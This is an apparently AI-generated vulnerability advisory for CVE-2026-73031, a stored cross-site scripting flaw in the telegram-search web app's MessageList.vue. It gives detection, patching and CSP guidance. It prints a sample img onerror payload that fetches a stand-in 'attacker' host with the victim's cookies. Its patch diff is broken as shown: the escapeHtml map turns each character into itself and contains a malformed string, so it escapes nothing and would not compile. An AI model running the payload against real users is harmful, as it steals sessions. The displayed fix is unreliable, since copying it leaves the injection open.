Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2026-73031

CVE-2026-73031: telegram-search Stored XSS Vulnerability

CVE-2026-73031 is a stored XSS vulnerability in telegram-search that enables attackers to execute malicious JavaScript in victims' browsers through crafted Telegram messages. This article covers technical details, impact, and mitigation.

Updated:

CVE-2026-73031 Overview

CVE-2026-73031 is a stored cross-site scripting (XSS) vulnerability in telegram-search, an open-source Telegram message search application. The flaw resides in the highlightKeyword function within MessageList.vue, which passes raw message content to Vue's v-html directive without HTML escaping or sanitization. Remote attackers can send crafted messages containing malicious HTML to a shared Telegram group, and the payload executes in any victim's browser when they view or search messages. The issue is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Critical Impact

Zero-click, cross-user JavaScript execution in the browser context of every user who views or searches affected Telegram messages, enabling session theft, credential harvesting, and account takeover.

Affected Products

  • telegram-search (GramSearch project) web frontend
  • apps/web/src/components/messages/MessageList.vue component
  • All versions prior to commit 54f6adc

Discovery Timeline

  • 2026-08-11 - CVE-2026-73031 published to NVD
  • 2026-08-11 - Last updated in NVD database

Technical Details for CVE-2026-73031

Vulnerability Analysis

The vulnerability lives in the highlightKeyword function in apps/web/src/components/messages/MessageList.vue. The function wraps matched search keywords in a <span> tag styled with a highlight color, then returns the resulting string. That string is then rendered through Vue's v-html directive, which injects raw HTML into the DOM without escaping.

Because message text is never sanitized before reaching v-html, an attacker who posts a message containing HTML tags into a shared Telegram group causes those tags to be interpreted as markup in every viewer's browser. The exploitation path is stored and cross-user: the payload persists in message history and executes for any user who opens the conversation or runs a search.

A payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)> runs with the privileges of the victim's session, allowing token exfiltration, arbitrary API calls, and further pivoting within the application context.

Root Cause

The root cause is the use of v-html on unsanitized, attacker-controlled content. The original highlightKeyword implementation returned the raw text parameter unchanged when no keyword was supplied, and used String.prototype.replace to inject a <span> around the keyword match without first escaping HTML special characters in the surrounding text.

Attack Vector

An attacker with the ability to send messages to a Telegram group monitored by a telegram-search instance sends a message containing an HTML injection payload. No user interaction beyond browsing or searching is required. When any user of the telegram-search web UI views the conversation or triggers a keyword search that renders the message list, the injected script executes automatically.

text
 const listRef = ref<HTMLElement | null>(null)
 const { copy } = useClipboard()
 
+function escapeHtml(s: string) {
+  return s.replace(/[&<>"']/g, c =>
+    ({ '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''' } as Record<string, string>)[c])
+}
+
 function highlightKeyword(text: string, keyword: string) {
+  const safe = escapeHtml(text)
   if (!keyword)
-    return text
-  const regex = new RegExp(`(${keyword})`, 'gi')
-  return text.replace(regex, '<span class="bg-yellow-200 dark:bg-yellow-800">$1</span>')
+    return safe
+  const escaped = escapeHtml(keyword).replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+  const regex = new RegExp(`(${escaped})`, 'gi')
+  return safe.replace(regex, '<span class="bg-yellow-200 dark:bg-yellow-800">$1</span>')
 }

Source: GitHub commit 54f6adc. The patch introduces an escapeHtml helper and applies it to both the input text and the keyword before regex construction, preventing HTML interpretation of user-controlled data.

Detection Methods for CVE-2026-73031

Indicators of Compromise

  • Telegram messages containing HTML tags such as <script>, <img> with onerror, <svg> with onload, or <iframe> in indexed content.
  • Outbound browser requests from telegram-search users to unexpected external hosts, particularly requests carrying cookie or localStorage values in query strings.
  • DOM anomalies in the message list view, including injected image tags, invisible iframes, or unexpected inline styles.

Detection Strategies

  • Perform a static grep of the deployed frontend bundle for use of v-html combined with untrusted message data.
  • Scan the Telegram message store for stored payloads matching common XSS patterns before upgrading; do not simply patch without auditing historical data.
  • Enforce a strict Content Security Policy (CSP) at the reverse proxy and treat CSP violation reports as high-signal detections.

Monitoring Recommendations

  • Log and alert on browser CSP violation reports from the telegram-search web application.
  • Monitor egress traffic from user workstations for anomalous requests originating from the telegram-search origin.
  • Review web server access logs for unusual API activity following message-rendering events, which may indicate hijacked sessions.

How to Mitigate CVE-2026-73031

Immediate Actions Required

  • Update telegram-search to a build that includes commit 54f6adc from PR #654.
  • Restrict access to the telegram-search web UI to trusted users while patching, and consider taking the service offline if it indexes public or high-risk groups.
  • Rotate any session tokens, API keys, or credentials that may have been exposed via the web application.
  • Audit indexed message history and purge stored payloads containing HTML or JavaScript before returning the service to normal operation.

Patch Information

The fix is delivered in commit 54f6adced844ce9990228d75e31348bfed934e05 via PR #654, tracked in issue #653. The patch adds an escapeHtml function and applies it to both the message text and the search keyword before any HTML is constructed, closing the injection path into v-html. Additional context is available in the VulnCheck advisory.

Workarounds

  • Replace v-html with Vue text interpolation ({{ }}) in MessageList.vue if immediate upgrade is not feasible, accepting the loss of the highlight styling.
  • Deploy a strict Content Security Policy that disallows inline scripts and restricts img-src and connect-src to trusted origins.
  • Sanitize message content server-side with a library such as DOMPurify before persisting it into the search index.
bash
# Apply the upstream fix directly from GitHub
git clone https://github.com/GramSearch/telegram-search.git
cd telegram-search
git checkout 54f6adced844ce9990228d75e31348bfed934e05
pnpm install
pnpm build

# Example strict CSP header for the reverse proxy fronting telegram-search
# add_header Content-Security-Policy "default-src 'self'; script-src 'self'; \
#   img-src 'self' data:; connect-src 'self'; object-src 'none'; frame-ancestors 'none';" always;

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.